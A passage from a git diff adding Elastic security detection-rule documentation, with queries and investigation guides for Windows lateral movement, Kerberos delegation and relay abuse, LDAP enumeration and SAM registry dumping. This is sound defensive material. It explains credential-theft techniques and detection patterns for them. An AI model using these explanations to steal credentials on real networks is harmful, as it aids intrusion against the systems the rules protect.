+- Remote Scheduled Task Creation - 954ee7c8-5437-49ae-b2d6-2960883898e9
+
+
+*Response and remediation*
+
+
+- Initiate the incident response process based on the outcome of the triage.
+- Isolate the involved host to prevent further post-compromise behavior.
+- Remove scheduled task and any other related artifacts.
+- Review privileged account management and user account management settings. Consider implementing group policy object (GPO) policies to further restrict activity, or configuring settings that only allow administrators to create remote scheduled tasks.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+iam where host.os.type == "windows" and event.action == "scheduled-task-created" and
+ winlog.event_data.RpcCallClientLocality : "0" and winlog.event_data.ClientProcessId : "0"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Lateral Movement
+** ID: TA0008
+** Reference URL: https://attack.mitre.org/tactics/TA0008/
+* Technique:
+** Name: Remote Services
+** ID: T1021
+** Reference URL: https://attack.mitre.org/techniques/T1021/
+* Tactic:
+** Name: Execution
+** ID: TA0002
+** Reference URL: https://attack.mitre.org/tactics/TA0002/
+* Technique:
+** Name: Scheduled Task/Job
+** ID: T1053
+** Reference URL: https://attack.mitre.org/techniques/T1053/
+* Sub-technique:
+** Name: Scheduled Task
+** ID: T1053.005
+** Reference URL: https://attack.mitre.org/techniques/T1053/005/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-windows-service-installed.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-windows-service-installed.asciidoc
new file mode 100644
index 0000000000..53a2fc1b92
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-remote-windows-service-installed.asciidoc
@@ -0,0 +1,154 @@
+[[prebuilt-rule-8-19-11-remote-windows-service-installed]]
+=== Remote Windows Service Installed
+
+Identifies a network logon followed by Windows service creation with same LogonId. This could be indicative of lateral movement, but will be noisy if commonly done by administrators."
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Lateral Movement
+* Tactic: Persistence
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 112
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Remote Windows Service Installed*
+
+
+Windows services are crucial for running background processes. Adversaries exploit this by installing services remotely to maintain persistence or move laterally within a network. The detection rule identifies suspicious service installations following a network logon, excluding known legitimate services, to flag potential unauthorized activities. This helps in identifying and mitigating threats early.
+
+
+*Possible investigation steps*
+
+
+- Review the source IP address from the authentication event to determine if it is from a known or trusted network segment. Investigate any unfamiliar or suspicious IP addresses.
+- Check the winlog.logon.id to correlate the logon session with the service installation event, ensuring they are part of the same session.
+- Investigate the user account associated with the logon session to determine if the activity aligns with their typical behavior or role within the organization.
+- Examine the service file path from the service-installed event to identify if it is a known or legitimate application. Pay special attention to any paths not excluded in the query.
+- Look into the history of the computer where the service was installed (winlog.computer_name) for any previous suspicious activities or alerts.
+- Assess the timing and frequency of similar events to determine if this is an isolated incident or part of a broader pattern of suspicious behavior.
+
+
+*False positive analysis*
+
+
+- Administrative activities can trigger false positives when administrators frequently install or update services remotely. To manage this, create exceptions for known administrative accounts or specific IP addresses used by IT staff.
+- Legitimate software installations or updates may appear as suspicious service installations. Maintain an updated list of authorized software paths and exclude these from the detection rule.
+- Automated deployment tools like PDQ Deploy or Veeam Backup can cause false positives. Identify and exclude the service paths associated with these tools to reduce noise.
+- Scheduled tasks that install or update services as part of routine maintenance can be mistaken for threats. Document and exclude these tasks from the rule to prevent unnecessary alerts.
+- Internal security tools that perform regular checks or updates may also trigger alerts. Ensure these tools are recognized and their service paths are excluded from the detection criteria.
+
+
+*Response and remediation*
+
+
+- Isolate the affected system from the network to prevent further lateral movement by the adversary. This can be done by disabling network interfaces or using network segmentation tools.
+- Terminate any unauthorized services identified by the alert to stop any malicious processes from running. Use task management tools or command-line utilities to stop and disable these services.
+- Conduct a thorough review of recent logon events and service installations on the affected system to identify any additional unauthorized activities or compromised accounts.
+- Change passwords for any accounts that were used in the unauthorized service installation, especially if they have administrative privileges, to prevent further unauthorized access.
+- Restore the affected system from a known good backup if any malicious changes or persistence mechanisms are detected that cannot be easily remediated.
+- Implement network monitoring and alerting for similar suspicious activities, such as unexpected service installations or network logons, to enhance detection and response capabilities.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems or accounts have been compromised.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by winlog.logon.id, winlog.computer_name with maxspan=1m
+[authentication where host.os.type == "windows" and event.action == "logged-in" and winlog.logon.type : "Network" and
+ event.outcome == "success" and source.ip != null and source.ip != "127.0.0.1" and source.ip != "::1"]
+[iam where host.os.type == "windows" and event.action == "service-installed" and
+ not winlog.event_data.SubjectLogonId : "0x3e7" and
+ not winlog.event_data.ServiceFileName :
+               ("?:\\Windows\\ADCR_Agent\\adcrsvc.exe",
+                "?:\\Windows\\System32\\VSSVC.exe",
+                "?:\\Windows\\servicing\\TrustedInstaller.exe",
+                "?:\\Windows\\System32\\svchost.exe",
+                "?:\\Program Files (x86)\\*.exe",
+                "?:\\Program Files\\*.exe",
+                "?:\\Windows\\PSEXESVC.EXE",
+                "?:\\Windows\\System32\\sppsvc.exe",
+                "?:\\Windows\\System32\\wbem\\WmiApSrv.exe",
+                "?:\\WINDOWS\\RemoteAuditService.exe",
+                "?:\\Windows\\VeeamVssSupport\\VeeamGuestHelper.exe",
+                "?:\\Windows\\VeeamLogShipper\\VeeamLogShipper.exe",
+                "?:\\Windows\\CAInvokerService.exe",
+                "?:\\Windows\\System32\\upfc.exe",
+                "?:\\Windows\\AdminArsenal\\PDQ*.exe",
+                "?:\\Windows\\System32\\vds.exe",
+                "?:\\Windows\\Veeam\\Backup\\VeeamDeploymentSvc.exe",
+                "?:\\Windows\\ProPatches\\Scheduler\\STSchedEx.exe",
+                "?:\\Windows\\System32\\certsrv.exe",
+                "?:\\Windows\\eset-remote-install-service.exe",
+                "?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe",
+                "?:\\Pella Corporation\\OSCToGPAutoService\\OSCToGPAutoSvc.exe",
+                "?:\\Pella Corporation\\Pella Order Management\\GPAutoSvc.exe",
+                "?:\\Windows\\SysWOW64\\NwxExeSvc\\NwxExeSvc.exe",
+                "?:\\Windows\\System32\\taskhostex.exe")]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Lateral Movement
+** ID: TA0008
+** Reference URL: https://attack.mitre.org/tactics/TA0008/
+* Technique:
+** Name: Remote Services
+** ID: T1021
+** Reference URL: https://attack.mitre.org/techniques/T1021/
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Create or Modify System Process
+** ID: T1543
+** Reference URL: https://attack.mitre.org/techniques/T1543/
+* Sub-technique:
+** Name: Windows Service
+** ID: T1543.003
+** Reference URL: https://attack.mitre.org/techniques/T1543/003/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user.asciidoc
new file mode 100644
index 0000000000..5f26ece703
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user.asciidoc
@@ -0,0 +1,150 @@
+[[prebuilt-rule-8-19-11-sensitive-privilege-seenabledelegationprivilege-assigned-to-a-user]]
+=== Sensitive Privilege SeEnableDelegationPrivilege assigned to a User
+
+Identifies the assignment of the SeEnableDelegationPrivilege sensitive "user right" to a user. The SeEnableDelegationPrivilege "user right" enables computer and user accounts to be trusted for delegation. Attackers can abuse this right to compromise Active Directory accounts and elevate their privileges.
+
+*Rule type*: query
+
+*Rule indices*: 
+
+* winlogbeat-*
+* logs-system.security*
+* logs-windows.forwarded*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://blog.harmj0y.net/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
+* https://github.com/SigmaHQ/sigma/blob/master/rules/windows/builtin/security/win_alert_active_directory_user_control.yml
+* https://twitter.com/_nwodtuhs/status/1454049485080907776
+* https://www.thehacker.recipes/ad/movement/kerberos/delegations
+* https://github.com/atc-project/atomic-threat-coverage/blob/master/Atomic_Threat_Coverage/Logging_Policies/LP_0105_windows_audit_authorization_policy_change.md
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Credential Access
+* Tactic: Persistence
+* Data Source: Active Directory
+* Resources: Investigation Guide
+* Use Case: Active Directory Monitoring
+* Data Source: Windows Security Event Logs
+
+*Version*: 218
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Sensitive Privilege SeEnableDelegationPrivilege assigned to a User*
+
+
+Kerberos delegation is an Active Directory feature that allows user and computer accounts to impersonate other accounts, act on their behalf, and use their privileges. Delegation (constrained and unconstrained) can be configured for user and computer objects.
+
+Enabling unconstrained delegation for a computer causes the computer to store the ticket-granting ticket (TGT) in memory at any time an account connects to the computer, so it can be used by the computer for impersonation when needed. Risk is heightened if an attacker compromises computers with unconstrained delegation enabled, as they could extract TGTs from memory and then replay them to move laterally on the domain. If the attacker coerces a privileged user to connect to the server, or if the user does so routinely, the account will be compromised and the attacker will be able to pass-the-ticket to privileged assets.
+
+SeEnableDelegationPrivilege is a user right that is controlled within the Local Security Policy of a domain controller and is managed through Group Policy. This setting is named **Enable computer and user accounts to be trusted for delegation**.
+
+It is critical to control the assignment of this privilege. A user with this privilege and write access to a computer can control delegation settings, perform the attacks described above, and harvest TGTs from any user that connects to the system.
+
+
+*Possible investigation steps*
+
+
+- Investigate how the privilege was assigned to the user and who assigned it.
+- Investigate other potentially malicious activity that was performed by the user that assigned the privileges using the `user.id` and `winlog.activity_id` fields as a filter during the past 48 hours.
+- Investigate other alerts associated with the users/host during the past 48 hours.
+
+
+*False positive analysis*
+
+
+- The SeEnableDelegationPrivilege privilege should not be assigned to users. If this rule is triggered in your environment legitimately, the security team should notify the administrators about the risks of using it.
+
+
+*Related rules*
+
+
+- KRBTGT Delegation Backdoor - e052c845-48d0-4f46-8a13-7d0aba05df82
+
+
+*Response and remediation*
+
+
+- Initiate the incident response process based on the outcome of the triage.
+- Remove the privilege from the account.
+- Review the privileges of the administrator account that performed the action.
+- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector.
+- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR).
+
+
+==== Setup
+
+
+
+*Setup*
+
+
+The 'Audit Authorization Policy Change' logging policy must be configured for (Success, Failure).
+Steps to implement the logging policy with Advanced Audit Configuration:
+
+```
+Computer Configuration >
+Windows Settings >
+Security Settings >
+Advanced Audit Policy Configuration >
+Audit Policies >
+Policy Change >
+Audit Authorization Policy Change (Success,Failure)
+```
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+event.code:4704 and host.os.type:"windows" and winlog.event_data.PrivilegeList:"SeEnableDelegationPrivilege"
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Steal or Forge Kerberos Tickets
+** ID: T1558
+** Reference URL: https://attack.mitre.org/techniques/T1558/
+* Tactic:
+** Name: Persistence
+** ID: TA0003
+** Reference URL: https://attack.mitre.org/tactics/TA0003/
+* Technique:
+** Name: Account Manipulation
+** ID: T1098
+** Reference URL: https://attack.mitre.org/techniques/T1098/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-service-creation-via-local-kerberos-authentication.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-service-creation-via-local-kerberos-authentication.asciidoc
new file mode 100644
index 0000000000..352268ecf4
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-service-creation-via-local-kerberos-authentication.asciidoc
@@ -0,0 +1,140 @@
+[[prebuilt-rule-8-19-11-service-creation-via-local-kerberos-authentication]]
+=== Service Creation via Local Kerberos Authentication
+
+Identifies a suspicious local successful logon event where the Logon Package is Kerberos, the remote address is set to localhost, followed by a sevice creation from the same LogonId. This may indicate an attempt to leverage a Kerberos relay attack variant that can be used to elevate privilege locally from a domain joined user to local System privileges.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: high
+
+*Risk score*: 73
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://github.com/Dec0ne/KrbRelayUp
+* https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html
+* https://github.com/cube0x0/KrbRelay
+* https://gist.github.com/tyranid/c24cfd1bd141d14d4925043ee7e03c82
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Privilege Escalation
+* Tactic: Credential Access
+* Use Case: Active Directory Monitoring
+* Data Source: Active Directory
+* Data Source: Windows Security Event Logs
+* Resources: Investigation Guide
+
+*Version*: 212
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Service Creation via Local Kerberos Authentication*
+
+
+Kerberos is a network authentication protocol designed to provide strong authentication for client/server applications. In Windows environments, it is often used for secure identity verification. Adversaries may exploit Kerberos by relaying authentication tickets locally to escalate privileges, potentially creating services with elevated rights. The detection rule identifies suspicious local logons using Kerberos, followed by service creation, indicating possible misuse. By monitoring specific logon events and service installations, it helps detect unauthorized privilege escalation attempts.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs for the specific LogonId identified in the alert to gather details about the logon session, including the user account involved and the time of the logon event.
+- Examine the source IP address and port from the logon event to confirm it matches the localhost (127.0.0.1 or ::1) and determine if this aligns with expected behavior for the user or system.
+- Investigate the service creation event (event ID 4697) associated with the same LogonId to identify the service name, executable path, and any related command-line arguments to assess if it is legitimate or potentially malicious.
+- Check for any recent changes or anomalies in the system or user account, such as modifications to user privileges, group memberships, or recent software installations, that could indicate unauthorized activity.
+- Correlate the findings with other security alerts or logs from the same timeframe to identify any patterns or additional indicators of compromise that may suggest a broader attack or compromise.
+
+
+*False positive analysis*
+
+
+- Routine administrative tasks may trigger the rule if administrators frequently log in locally using Kerberos and create services as part of their duties. To manage this, create exceptions for known administrative accounts or specific service creation activities that are part of regular maintenance.
+- Automated scripts or software updates that use Kerberos authentication and subsequently install or update services can also generate false positives. Identify these scripts or update processes and exclude their associated logon IDs from the rule.
+- Security software or monitoring tools that perform regular checks and use Kerberos for authentication might inadvertently trigger the rule. Review the behavior of these tools and whitelist their activities if they are verified as non-threatening.
+- In environments where localhost is used for testing or development purposes, developers might log in using Kerberos and create services. Consider excluding specific development machines or user accounts from the rule to prevent unnecessary alerts.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or privilege escalation.
+- Terminate any suspicious services created during the incident to halt potential malicious activities.
+- Conduct a thorough review of the affected system's event logs, focusing on the specific LogonId and service creation events to identify the scope of the compromise.
+- Reset the credentials of the compromised user account and any other accounts that may have been accessed using the relayed Kerberos tickets.
+- Apply patches and updates to the affected system and any other systems in the network to address known vulnerabilities that could be exploited in similar attacks.
+- Implement network segmentation to limit the ability of attackers to move laterally within the network, reducing the risk of privilege escalation.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to ensure comprehensive remediation efforts are undertaken.
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by winlog.computer_name with maxspan=5m
+ [authentication where host.os.type == "windows" and
+
+  /* event 4624 need to be logged */
+  event.action == "logged-in" and event.outcome == "success" and winlog.event_data.ElevatedToken == "%%1843" and process.pid == 0 and 
+
+  /* authenticate locally using relayed kerberos Ticket */
+  winlog.event_data.AuthenticationPackageName :"Kerberos" and winlog.logon.type == "Network" and cidrmatch(source.ip, "127.0.0.0/8", "::1")] by winlog.event_data.TargetLogonId
+
+  [any where host.os.type == "windows" and
+   /* event 4697 need to be logged */
+   event.action : "service-installed"] by winlog.event_data.SubjectLogonId
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Privilege Escalation
+** ID: TA0004
+** Reference URL: https://attack.mitre.org/tactics/TA0004/
+* Technique:
+** Name: Create or Modify System Process
+** ID: T1543
+** Reference URL: https://attack.mitre.org/techniques/T1543/
+* Sub-technique:
+** Name: Windows Service
+** ID: T1543.003
+** Reference URL: https://attack.mitre.org/techniques/T1543/003/
+* Tactic:
+** Name: Credential Access
+** ID: TA0006
+** Reference URL: https://attack.mitre.org/tactics/TA0006/
+* Technique:
+** Name: Steal or Forge Kerberos Tickets
+** ID: T1558
+** Reference URL: https://attack.mitre.org/techniques/T1558/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-socks-traffic-from-an-unusual-process.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-socks-traffic-from-an-unusual-process.asciidoc
new file mode 100644
index 0000000000..281d76d635
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-socks-traffic-from-an-unusual-process.asciidoc
@@ -0,0 +1,111 @@
+[[prebuilt-rule-8-19-11-socks-traffic-from-an-unusual-process]]
+=== SOCKS Traffic from an Unusual Process
+
+This detection correlates FortiGate's application control SOCKS events with Elastic Defend network event to identify the source process performing SOCKS traffic. Adversaries may use a connection proxy to direct network traffic between systems or act as an intermediary for network communications to a command and control server to avoid direct connections to their infrastructure.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-endpoint.events.network-*
+* logs-fortinet_fortigate.log-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://attack.mitre.org/techniques/T1090/
+* https://www.elastic.co/docs/reference/integrations/fortinet_fortigate
+* https://www.elastic.co/docs/reference/integrations/endpoint
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Linux
+* OS: Windows
+* OS: macOS
+* Use Case: Threat Detection
+* Tactic: Command and Control
+* Data Source: Elastic Defend
+* Data Source: Fortinet
+* Resources: Investigation Guide
+
+*Version*: 1
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating SOCKS Traffic from an Unusual Process*
+
+
+
+*Possible investigation steps*
+
+
+- Review the process details like command_line, privileges, global relevance and reputation.
+- Review the parent process execution details like command_line, global relevance and reputation.
+- Examine all network connection details performed by the process during last 48h.
+- Examine all localhost network connections performed by the same process to verify if there is any port forwarding with another process on the same machine.
+- Correlate the alert with other security events or logs to identify any patterns or additional indicators of compromise related to the same process or network activity.
+
+
+*False positive analysis*
+
+
+- Browser proxy extensions and Add-ons.
+- Development and deployment tools.
+- Third party trusted tools using SOCKS for network communication.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.
+- Terminate the suspicious processes and all associated children and parents.
+- Conduct a thorough review of the system's configuration files to identify unauthorized changes.
+- Reset credentials for any accounts associated with the source machine.
+- Implement network-level controls to block traffic via SOCKS unless authorized.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+sequence by source.port, source.ip, destination.ip with maxspan=1m
+ [network where event.dataset == "fortinet_fortigate.log" and event.action == "signature" and network.application in ("SOCKS4", "SOCKS5")]
+ [network where event.module == "endpoint" and event.action in ("disconnect_received", "connection_attempted")]
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Command and Control
+** ID: TA0011
+** Reference URL: https://attack.mitre.org/tactics/TA0011/
+* Technique:
+** Name: Proxy
+** ID: T1090
+** Reference URL: https://attack.mitre.org/techniques/T1090/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-access-to-ldap-attributes.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-access-to-ldap-attributes.asciidoc
new file mode 100644
index 0000000000..069a3d2115
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-access-to-ldap-attributes.asciidoc
@@ -0,0 +1,129 @@
+[[prebuilt-rule-8-19-11-suspicious-access-to-ldap-attributes]]
+=== Suspicious Access to LDAP Attributes
+
+Identify read access to a high number of Active Directory object attributes. The knowledge of objects properties can help adversaries find vulnerabilities, elevate privileges or collect sensitive information.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: low
+
+*Risk score*: 21
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: None
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Discovery
+* Data Source: Windows Security Event Logs
+* Data Source: Active Directory
+* Data Source: Windows
+* Resources: Investigation Guide
+
+*Version*: 108
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+> **Disclaimer**:
+> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
+
+
+*Investigating Suspicious Access to LDAP Attributes*
+
+
+LDAP (Lightweight Directory Access Protocol) is crucial for querying and modifying directory services like Active Directory, which stores user credentials and permissions. Adversaries exploit LDAP to enumerate directory attributes, seeking vulnerabilities or sensitive data. The detection rule identifies unusual read access patterns, such as excessive attribute queries, which may indicate reconnaissance or privilege escalation attempts.
+
+
+*Possible investigation steps*
+
+
+- Review the event logs for the specific event code 4662 to gather details about the suspicious read access, focusing on the winlog.event_data.Properties field to understand which attributes were accessed.
+- Identify the user associated with the suspicious activity by examining the winlog.event_data.SubjectUserSid field, and determine if this user has a legitimate reason to access a high number of Active Directory object attributes.
+- Check the user's recent activity and login history to identify any unusual patterns or anomalies that could indicate compromised credentials or unauthorized access.
+- Investigate the source machine from which the LDAP queries originated to determine if it is a known and trusted device or if it shows signs of compromise or unauthorized use.
+- Correlate this event with other security alerts or logs to identify if this activity is part of a larger pattern of reconnaissance or privilege escalation attempts within the network.
+
+
+*False positive analysis*
+
+
+- Regular system maintenance or updates may trigger high attribute read access. Exclude known maintenance accounts from the rule to prevent false alerts.
+- Automated scripts or applications that query Active Directory for legitimate purposes can cause excessive attribute reads. Identify and whitelist these scripts or applications to reduce noise.
+- Security audits or compliance checks often involve extensive directory queries. Coordinate with IT and security teams to recognize these activities and adjust the rule to exclude them.
+- Service accounts with legitimate high-volume access patterns should be reviewed and, if deemed non-threatening, added to an exception list to avoid unnecessary alerts.
+- Consider the context of the access, such as time of day or associated user activity, to differentiate between normal and suspicious behavior. Adjust the rule to account for these patterns where applicable.
+
+
+*Response and remediation*
+
+
+- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration.
+- Conduct a thorough review of the user account associated with the suspicious LDAP access to determine if it has been compromised. Reset the account credentials and enforce multi-factor authentication.
+- Analyze the event logs to identify any other systems or accounts that may have been accessed using similar methods, and apply the same containment measures.
+- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine the full scope of the breach.
+- Implement additional monitoring on LDAP queries and Active Directory access to detect similar patterns of excessive attribute queries in the future.
+- Review and tighten access controls and permissions within Active Directory to ensure that only necessary attributes are accessible to users based on their roles.
+- Conduct a post-incident review to identify any gaps in security controls and update policies or procedures to prevent recurrence of similar threats.
+
+==== Setup
+
+
+The 'Audit Directory Service Changes' logging policy must be configured for (Success, Failure).
+Steps to implement the logging policy with Advanced Audit Configuration:
+
+Computer Configuration >
+Policies >
+Windows Settings >
+Security Settings >
+Advanced Audit Policies Configuration >
+Audit Policies >
+DS Access >
+Audit Directory Service Changes (Success,Failure)
+
+
+==== Rule query
+
+
+[source, js]
+----------------------------------
+any where host.os.type == "windows" and event.code == "4662" and not winlog.event_data.SubjectUserSid : "S-1-5-18" and
+ winlog.event_data.AccessMaskDescription == "Read Property" and length(winlog.event_data.Properties) >= 2000
+
+----------------------------------
+
+*Framework*: MITRE ATT&CK^TM^
+
+* Tactic:
+** Name: Discovery
+** ID: TA0007
+** Reference URL: https://attack.mitre.org/tactics/TA0007/
+* Technique:
+** Name: Permission Groups Discovery
+** ID: T1069
+** Reference URL: https://attack.mitre.org/techniques/T1069/
diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc
new file mode 100644
index 0000000000..6c8dc9e054
--- /dev/null
+++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-11/prebuilt-rule-8-19-11-suspicious-remote-registry-access-via-sebackupprivilege.asciidoc
@@ -0,0 +1,169 @@
+[[prebuilt-rule-8-19-11-suspicious-remote-registry-access-via-sebackupprivilege]]
+=== Suspicious Remote Registry Access via SeBackupPrivilege
+
+Identifies remote access to the registry using an account with Backup Operators group membership. This may indicate an attempt to exfiltrate credentials by dumping the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation.
+
+*Rule type*: eql
+
+*Rule indices*: 
+
+* logs-system.security*
+* logs-windows.forwarded*
+* winlogbeat-*
+
+*Severity*: medium
+
+*Risk score*: 47
+
+*Runs every*: 5m
+
+*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <<rule-schedule, `Additional look-back time`>>)
+
+*Maximum alerts per execution*: 100
+
+*References*: 
+
+* https://github.com/mpgn/BackupOperatorToDA
+* https://raw.githubusercontent.com/Wh04m1001/Random/main/BackupOperators.cpp
+* https://www.elastic.co/security-labs/detect-credential-access
+
+*Tags*: 
+
+* Domain: Endpoint
+* OS: Windows
+* Use Case: Threat Detection
+* Tactic: Lateral Movement
+* Tactic: Credential Access
+* Resources: Investigation Guide
+* Use Case: Active Directory Monitoring
+* Data Source: Active Directory
+* Data Source: Windows Security Event Logs
+
+*Version*: 216
+
+*Rule authors*: 
+
+* Elastic
+
+*Rule license*: Elastic License v2
+
+
+==== Investigation guide
+
+
+
+*Triage and analysis*
+
+
+
+*Investigating Suspicious Remote Registry Access via SeBackupPrivilege*
+
+
+SeBackupPrivilege is a privilege that allows file content retrieval, designed to enable users to create backup copies of the system. Since it is impossible to make a backup of something you cannot read, this privilege comes at the cost of providing the user with full read access to the file system. This privilege must bypass any access control list (ACL) placed in the system.
+
+This rule identifies remote access to the registry using an account with Backup Operators group membership. This may indicate an attempt to exfiltrate credentials by dumping the Security Account Manager (SAM) registry hive in preparation for credential access and privileges elevation.
+
+
+*Possible investigation steps*
+
+
+- Identify the user account that performed the action and whether it should perform this kind of action.
+- Investigate the activities done by the subject user the login session. The field `winlog.event_data.SubjectLogonId` can be used to get this data.
+- Investigate other alerts associated with the user/host during the past 48 hours.
+- Contact the account owner and confirm whether they are aware of this activity.
+- Investigate abnormal behaviors observed by the subject user such as network connections, registry or file modifications, and processes created.
+- Investigate if the registry file was retrieved or exfiltrated.
+
+
+*False positive analysis*
+
+
+- If this activity is expected and noisy in your environment, benign true positives (B-TPs) can be added as exceptions if necessary.
+
+
+*Response and remediation*
+
+
+- Initiate the incident response process based on the outcome of the triage.
